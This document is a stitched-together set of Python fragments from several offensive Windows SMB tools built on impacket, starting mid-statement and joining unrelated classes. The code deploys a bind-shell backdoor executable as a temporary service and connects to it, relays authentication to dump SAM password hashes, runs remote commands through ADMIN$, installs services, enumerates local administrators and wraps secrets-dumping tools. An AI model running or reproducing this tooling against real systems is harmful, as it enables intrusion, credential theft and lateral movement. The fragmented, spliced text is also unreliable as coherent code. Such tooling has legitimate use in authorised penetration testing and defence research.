Extraction Failed for {}: {}'.format( self.host, str(e))) try: self.remote_ops.finish() except Exception as e: self.logger.debug( "Error calling remote_ops.finish() for {}: {}".format( self.host, str(e))) SAM.finish() ################################ # File Interaction ################################ def createFile(self, filename, data, share='C$'): # Create new file & write data, Not In Use f = remotefile.RemoteFile(self.con, filename, share) f.create() f.write(data) f.close() def uploadFile(self, local_file, location, share='C$'): f = open(local_file) self.con.putFile(share, location, f.read) f.close() def downloadFile(self, remote_file, location='ar3_download', share='C$'): f = open(location, 'wb') self.con.getFile(share, remote_file, f.write) f.close() return def deleteFile(self, remote_file, share='C$'): self.con.deleteFile(share, remote_file)
class SMBShell(PsExec, Samr, SvcCtl): def __init__(self, target, credential, local_name): self.__dstip = target.get_host() self.__dstport = target.get_port() self.__user = credential.get_user() self.__password = credential.get_password() self.__lmhash = credential.get_lm_hash() self.__nthash = credential.get_nt_hash() self.__domain = credential.get_domain() self.__is_admin = credential.get_is_admin() self.__srcfile = local_name self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip self.__timeout = 5 * 60 self.smb = None self.tid = None self.pwd = '\\' self.share = '' self.shares_list = [] self.domains_dict = {} self.users_list = set() self.completion = [] self.smbserver_share = ''.join(random.choice(string.ascii_uppercase) for _ in range(8)) self.connect() logger.debug('Connection to host %s established' % target.get_identity()) self.login() logger.debug( 'Logged in as %s' % (self.__user if not self.__domain else '%s\%s' % (self.__domain, self.__user))) logger.info('Looking for a writable share, wait..') _ = self.get_writable_share() self.info(False) if _: DataStore.writable_share = _ else: logger.warn('Unable to find a writable share. Going to use %s, but some commands will not work' % DataStore.writable_share) if DataStore.version_major >= 6 or (DataStore.version_major == 5 and DataStore.version_minor == 1): DataStore.share_path = ntpath.join(DataStore.user_path, 'Windows', 'Temp') else: DataStore.share_path = ntpath.join(DataStore.user_path, 'WINNT', 'Temp') def connect(self): self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout) def login(self): try: self.smb.login(self.__user, self.__password, self.__domain, self.__lmhash, self.__nthash) except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.error('SMB error: %s' % (e.getErrorString(),)) raise RuntimeError def logoff(self): self.smb.logoff() def smb_transport(self, named_pipe): self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe, smb_connection=self.smb, remote_host=self.__dstip) try: self.trans.connect() except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.warn('SMB error: %s' % e.getErrorString()) raise RuntimeError def info(self, display=True): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.bind(srvs.MSRPC_UUID_SRVS) try: self.__resp = srvs.hNetrServerGetInfo(self.__dce, 102) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query server information') return None self.__dce.disconnect() DataStore.server_os = self.smb.getServerOS() DataStore.server_name = self.smb.getServerName() DataStore.server_domain = self.smb.getServerDomain() DataStore.server_host = self.smb.getRemoteHost() DataStore.user_path = self.__resp['InfoStruct']['ServerInfo102']['sv102_userpath'] DataStore.version_major = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_major'] DataStore.version_minor = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_minor'] if display: print('Operating system: %s' % self.smb.getServerOS()) print('Netbios name: %s' % self.smb.getServerName()) print('Domain: %s' % self.smb.getServerDomain()) print('SMB dialect: %s' % check_dialect(self.smb.getDialect())) print('NTLMv2 support: %s' % self.smb.doesSupportNTLMv2()) print('UserPath: %s' % DataStore.user_path) print('Simultaneous users: %d' % self.__resp['InfoStruct']['ServerInfo102']['sv102_users']) print('Version major: %d' % DataStore.version_major) print('Version minor: %d' % DataStore.version_minor) print('Comment: %s' % self.__resp['InfoStruct']['ServerInfo102']['sv102_comment'] or '') # TODO: uncomment when SMBConnection will have a wrapper # getServerTime() method for both SMBv1,2,3 # print 'Time: %s' % self.smb.get_server_time() return self.__resp def who(self): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(self.__dce, NULL, NULL, 502) for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']: print("Host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s" % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'], session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1], session['sesi502_transport'][:-1])) self.__dce.disconnect() def __share_info(self, share): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareGetInfo(self.__dce, '%s\x00' % share, 2) self.__dce.disconnect() return resp def check_share(self, share=None): # logger.debug("Into check_share with share: %s, self.share is: %s and self.tid is: %s" # % (share, self.share, self.tid)) if share: self.use(share) elif not share and (self.share is None or self.tid is None): logger.warn('Share has not been specified, select one') self.shares() def is_writable_share(self, share): _ = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) try: self.use(share, False) self.mkdir(_) except: pass else: self.rmdir(_) return True return False def get_writable_share(self): # Check we can write a directory on the shares, return the first writable one for _ in self.smb.listShares(): share = _['shi1_netname'][:-1] try: share_info = self.__share_info(share) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query share: %s' % share) continue path = share_info['InfoStruct']['ShareInfo2']['shi2_path'][:-1] if self.is_writable_share(share): logger.info('Share %s %sis writable' % (share, "(%s) " % path if path else "")) DataStore.share_path = path return share else: logger.debug('Share %s %sis not writable' % (share, "(%s) " % path if path else "")) return None def shares(self): shares = self.smb.listShares() count = 0 for i in range(len(shares)): count += 1 name = shares[i]['shi1_netname'][:-1] self.shares_list.append(name) comment = shares[i]['shi1_remark'][:-1] share_type = shares[i]['shi1_type'] _ = self.__share_info(name) max_uses = _['InfoStruct']['ShareInfo2']['shi2_max_uses'] # 4294967295L is unlimited current_uses = _['InfoStruct']['ShareInfo2']['shi2_current_uses'] permissions = _['InfoStruct']['ShareInfo2']['shi2_permissions'] # impacket always returns always 0 path = _['InfoStruct']['ShareInfo2']['shi2_path'] print('[%d] %s (comment: %s)' % (count, name, comment)) print('\tPath: %s' % path) print('\tUses: %d (max: %s)' % (current_uses, 'unlimited' if max_uses == 4294967295 else max_uses)) # print '\tType: %s' % share_type # print '\tPermissions: %d' % permissions msg = 'Which share do you want to connect to? (default: 1) ' limit = len(self.shares_list) choice = read_input(msg, limit) self.use(self.shares_list[choice - 1]) def use(self, share, display=True): if not share: raise missingShare('Share has not been specified') if self.tid: self.smb.disconnectTree(self.tid) try: self.share = share.strip('\x00') self.tid = self.smb.connectTree(self.share) self.pwd = '\\' self.ls('', False) except SessionError as e: if not display: pass elif e.getErrorCode() == nt_errors.STATUS_BAD_NETWORK_NAME: logger.warn('Invalid share name') elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') else: logger.warn('Unable to connect to share: %s' % (e.getErrorString(),)) def cd(self, path): if not path: return self.check_share() path = ntpath.normpath(path) self.oldpwd = self.pwd if path == '.': return elif path == '..': sep = self.pwd.split('\\') self.pwd = '\\'.join('%s' % s for s in sep[:-1]) return if path[0] == '\\': self.pwd = path else: self.pwd = ntpath.join(self.pwd, path) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd) self.smb.closeFile(self.tid, fid) logger.warn('File is not a directory') self.pwd = self.oldpwd except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY: return elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') elif e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND: logger.warn('File not found') else: logger.warn('Unable to change directory: %s' % (e.getErrorString(),)) self.pwd = self.oldpwd def get_pwd(self): print(ntpath.join(self.share, self.pwd)) def ls(self, path, display=True): self.check_share() if not path: pwd = ntpath.join(self.pwd, '*') else: pwd = ntpath.join(self.pwd, path) self.completion = [] pwd = ntpath.normpath(pwd) try: files = self.smb.listPath(self.share, pwd) except SessionError as e: if not display: pass elif e.getErrorCode() in (nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_NO_SUCH_FILE): logger.warn('File not found') else: logger.warn('Unable to list files: %s' % (e.getErrorString(),)) return for f in files: if display is True: print('%s %8s %10d %s' % (time.ctime(float(f.get_mtime_epoch())), '<DIR>' if f.is_directory() > 0 else '', f.get_filesize(), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory(), f.get_filesize())) def lstree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') for x in range(0, path.count('\\')): print('| ') print('%s' % os.path.basename(path.replace('\\', '/'))) self.ls('%s\\*' % path, display=False) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.lstree(ntpath.join(path, identified_file)) else: for x in range(0, path.count('\\')): print('| ') print('|-- %s (%d bytes)' % (identified_file, size)) def cat(self, filename): self.check_share() filename = os.path.basename(filename) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Reading file %s (%d bytes)..' % (filepath, size)) try: self.fid = self.smb.openFile(self.tid, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to access file: %s' % (e.getErrorString(),)) continue offset = 0 while 1: try: data = self.smb.readFile(self.tid, self.fid, offset) data = data.decode("cp437") print(data) if len(data) == 0: break offset += len(data) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_END_OF_FILE: break else: logger.error('Unable to read file content: %s' % (e.getErrorString(),)) self.smb.closeFile(self.tid, self.fid) def download(self, filename, path=None): self.check_share() basename = os.path.basename(filename) if path is None: path = '.' else: path = path.replace('\\', '/') self.ls(basename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: self.downloadtree(identified_file) self.cd('..') continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Downloading file %s (%d bytes)..' % (filepath, size)) try: fh = open(os.path.join(path, identified_file), 'wb') self.smb.getFile(self.share, filepath, fh.write) fh.close() except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to download file: %s' % (e.getErrorString(),)) def downloadtree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') basename = ntpath.basename(path) normpath = path.replace('\\', '/') self.cd(basename) # Check if the provided path is not a directory (if so, then the # working directory has not changed if self.pwd == self.oldpwd: self.download(basename) return logger.debug('Recreating directory %s' % self.pwd) self.ls(None, display=False) if not os.path.exists(normpath): os.makedirs(normpath) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.downloadtree(ntpath.join(path, identified_file)) self.cd('..') else: self.download(identified_file, normpath) def upload(self, pathname, destfile=None): self.check_share() if isinstance(pathname, string_types): files = glob.glob(pathname) else: files = [pathname] for filename in files: try: if isinstance(filename, string_types): fp = open(filename, 'rb') else: fp = filename except IOError: logger.error('Unable to open file %s' % filename) return False if not destfile or len(files) > 1: destfile = os.path.basename(filename) destfile = ntpath.join(self.pwd, destfile) if isinstance(filename, string_types): logger.debug('Uploading file %s to %s..' % (filename, destfile)) try: self.smb.putFile(self.share, destfile, fp.read) except SessionError as e: traceback.print_exc() if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to upload %s' % destfile) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to upload %s due to share access flags' % destfile) else: logger.error('Unable to upload file: %s' % (e.getErrorString(),)) fp.close() def rename(self, srcfile, destfile): self.check_share() srcfile = ntpath.join(self.pwd, ntpath.normpath(srcfile)) destfile = ntpath.join(self.pwd, ntpath.normpath(destfile)) self.smb.rename(self.share, srcfile, destfile) def mkdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.smb.createDirectory(self.share, path) def rm(self, filename): self.check_share() filename = ntpath.join(self.pwd, ntpath.normpath(filename)) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing file %s (%d bytes)..' % (filepath, size)) try: self.smb.deleteFile(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove file: %s' % (e.getErrorString(),)) def rmdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.ls(path, display=False) for identified_file, is_directory, _ in self.completion: if is_directory <= 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing directory %s..' % filepath) try: self.smb.deleteDirectory(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove directory: %s' % (e.getErrorString(),)) def bindshell(self, port): connected = False srvname = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) local_file = os.path.join(keimpx_path, 'contrib', 'srv_bindshell.exe') remote_file = '%s.exe' % ''.join([random.choice(string.ascii_lowercase) for _ in range(8)]) if not os.path.exists(local_file): raise missingFile('srv_bindshell.exe not found in the contrib subfolder') logger.info('Launching interactive OS shell') logger.debug('Going to use temporary service %s' % srvname) if not port: port = 4445 elif not isinstance(port, int): port = int(port) self.deploy(srvname, local_file, port, remote_file) logger.info('Connecting to backdoor on port %d, wait..' % port) for counter in range(0, 3): try: time.sleep(1) if str(sys.version.split()[0]) >= '2.6': tn = Telnet(self.__dstip, port, 3) else: tn = Telnet(self.__dstip, port) connected = True tn.interact() except (socket.error, socket.herror, socket.gaierror, socket.timeout) as e: if connected is False: warn_msg = 'Connection to backdoor on port %d failed (%s)' % (port, e) if counter < 2: warn_msg += ', retrying..' logger.warn(warn_msg) else: logger.error(warn_msg) except SessionError as e: # traceback.print_exc() logger.error('SMB error: %s' % (e.getErrorString(),)) except KeyboardInterrupt as _: print() logger.info('User aborted') except Exception as e: # traceback.print_exc() logger.error(str(e)) if connected is True: tn.close() sys.stdout.flush() break time.sleep(1) self.undeploy(srvname) def getSecretsDumper(self, history): dumper = DumpSecrets(remoteName=self.__destfile, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, history=history, ds=DataStore) return dumper def getAtExec(self, command): if DataStore.version_major > 6: atexec = TSCH_EXEC(self.__destfile if self.__destfile is not None else self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, command=command) return atexec else: logger.warn("This command only works on Windows Vista or newer.") return None def getRpcDump(self): dumper = RPCDump(self.__destfile if self.__destfile is not None else self.__dstip, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash) return dumper
class SMBAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["SMB"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__answerTMP = '' if self.config.interactive: #Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception as e: if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) for name in localAdminNames: LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) except DCERPCException: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print(self.__answerTMP.decode(self.config.encoding, 'replace')) else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) finally: if samHashes is not None: samHashes.finish() if remoteOps is not None: remoteOps.finish()
class SMBAttack(Thread): def __init__(self, config, SMBClient, username): Thread.__init__(self) self.daemon = True if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.config = config self.__answerTMP = "" if self.config.interactive: # Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: logging.info("Started interactive SMB client shell via TCP on 127.0.0.1:%d" % self.tcpshell.port) # Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = "" self.__SMBConnection.getFile("ADMIN$", "Temp\\__output", self.__answer) self.__SMBConnection.deleteFile("ADMIN$", "Temp\\__output") else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost() + "_samhashes") logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
def _get_groupsxml(self, groupsxml_path, gpo_display_name): gpo_groups = list() content_io = BytesIO() groupsxml_path_split = groupsxml_path.split('\\') gpo_name = groupsxml_path_split[6] target = self._domain_controller share = groupsxml_path_split[3] file_name = '\\'.join(groupsxml_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) if self._do_kerberos: smb_connection.kerberosLogin(self._user, self._password, self._domain, self._lmhash, self._nthash) else: smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) self._logger.debug('Get File: Share = {0}, file_name ={1}'.format( share, file_name)) smb_connection.connectTree(share) try: smb_connection.getFile(share, file_name, content_io.write) except SessionError: self._logger.warning( 'Error while getting the file {}, skipping...'.format( file_name)) return list() content = content_io.getvalue().replace(b'\r', b'') groupsxml_soup = BeautifulSoup(content.decode('utf-8'), 'xml') for group in groupsxml_soup.find_all('Group'): members = list() memberof = list() raw_xml_member = group.Properties.find_all('Member') if not raw_xml_member: continue local_sid = group.Properties.get('groupSid', str()) if not local_sid: if 'administrators' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-544' elif 'remote desktop' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-555' else: local_sid = group.Properties['groupName'] memberof.append(local_sid) for member in raw_xml_member: if not member['action'].lower() == 'add': continue if member['sid']: members.append(member['sid']) else: members.append(member['name']) if members or memberof: # TODO: implement filter support (seems like a pain in the ass, # I'll do it if the feature is asked). PowerView also seems to # have the barest support for filters, so ¯\_(ツ)_/¯ gpo_group = GPOGroup(list()) gpo_group._attributes_dict['gpodisplayname'] = gpo_display_name gpo_group._attributes_dict['gponame'] = gpo_name gpo_group._attributes_dict['gpopath'] = groupsxml_path gpo_group._attributes_dict['members'] = members gpo_group._attributes_dict['memberof'] = memberof gpo_groups.append(gpo_group) return gpo_groups
class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin( user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share)) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename, 'wb') logging.info("Downloading %s\\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception as e: logging.critical(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = f.replace('/', '\\') logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) if PY3: self.transferClient.putFile(self.share, pathname, fh.read) else: self.transferClient.putFile( self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print(os.getcwd()) else: os.chdir(s) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): if PY3: self.send_data(line.encode('cp437') + b'\r\n') else: self.send_data( line.decode(sys.stdin.encoding).encode('cp437') + '\r\n') def send_data(self, data, hideOutput=True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data)
class ImpacketConnection: class Options: def __init__(self, hostname="", domain_name="", username="", password="", lmhash="", nthash="", kerberos=False, aesKey="", dc_ip=None, timeout=5): self.hostname = hostname self.domain_name = domain_name self.username = username self.password = password self.lmhash = lmhash self.nthash = nthash self.timeout = timeout self.kerberos = kerberos self.aesKey = aesKey self.dc_ip = dc_ip def __init__(self, options: Options): self.options = options self.hostname = options.hostname self.domain_name = options.domain_name self.username = options.username self.password = options.password self.lmhash = options.lmhash self.nthash = options.nthash self.kerberos = options.kerberos self.aesKey = options.aesKey self.dc_ip = options.dc_ip self.timeout = options.timeout self._log = Logger(self.hostname) self._conn = None def get_logger(self): return self._log def set_logger(self, logger): self._log = logger def login(self): try: ip = list({ addr[-1][0] for addr in getaddrinfo(self.hostname, 0, 0, 0, 0) })[0] if ip != self.hostname: self._log.debug("Host {} resolved to {}".format( self.hostname, ip)) except gaierror as e: return RetCode(ERROR_DNS_ERROR, e) try: self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout) except Exception as e: return RetCode(ERROR_CONNECTION_ERROR, e) username = '' if not self.kerberos: username = self.username.split("@")[0] self._log.debug("Authenticating against {}".format(ip)) else: self._log.debug("Authenticating against {}".format(self.hostname)) try: if not self.kerberos: self._conn.login(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, ntlmFallback=True) else: self._conn.kerberosLogin(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey, kdcHost=self.dc_ip) except SessionError as e: self._log.debug("Provided credentials : {}\\{}:{}".format( self.domain_name, username, self.password)) return RetCode(ERROR_LOGIN_FAILURE, e) except KerberosException as e: self._log.debug("Kerberos error") return RetCode(ERROR_LOGIN_FAILURE, e) except Exception as e: return RetCode(ERROR_UNDEFINED, e) return RetCode(ERROR_SUCCESS) def connectTree(self, share_name): return self._conn.connectTree(share_name) def openFile(self, tid, fpath, timeout: int = 3): self._log.debug("Opening file {}".format(fpath)) start = time.time() while True: try: fid = self._conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) self._log.debug("File {} opened".format(fpath)) return fid except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find( 'STATUS_OBJECT_NAME_NOT_FOUND') >= 0: # Output not finished, let's wait if time.time() - start > timeout: raise (Exception(e)) time.sleep(1) else: raise Exception(e) def queryInfo(self, tid, fid): while True: try: info = self._conn.queryInfo(tid, fid) return info except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def getFile(self, share_name, path_name, callback): while True: try: self._conn.getFile(share_name, path_name, callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def deleteFile(self, share_name, path_name): while True: try: self._conn.deleteFile(share_name, path_name) self._log.debug("File {} deleted".format(path_name)) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: time.sleep(2) else: raise Exception(e) def putFile(self, share_name, path_name, callback): try: self._conn.putFile(share_name, path_name, callback) self._log.debug("File {} uploaded".format(path_name)) except Exception as e: raise Exception( "An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) def readFile(self, tid, fid, offset, size): return self._conn.readFile(tid, fid, offset, size, singleCall=False) def closeFile(self, tid, fid): return self._conn.closeFile(tid, fid) def disconnectTree(self, tid): return self._conn.disconnectTree(tid) def isadmin(self): try: self.connectTree("C$") return RetCode(ERROR_SUCCESS) except Exception as e: return RetCode(ERROR_ACCESS_DENIED, e) def close(self): if self._conn is not None: self._log.debug("Closing Impacket connection") self._conn.close() def clean(self): try: self.close() return RetCode(ERROR_SUCCESS) except Exception as e: return RetCode(ERROR_CONNECTION_CLEANING, e)
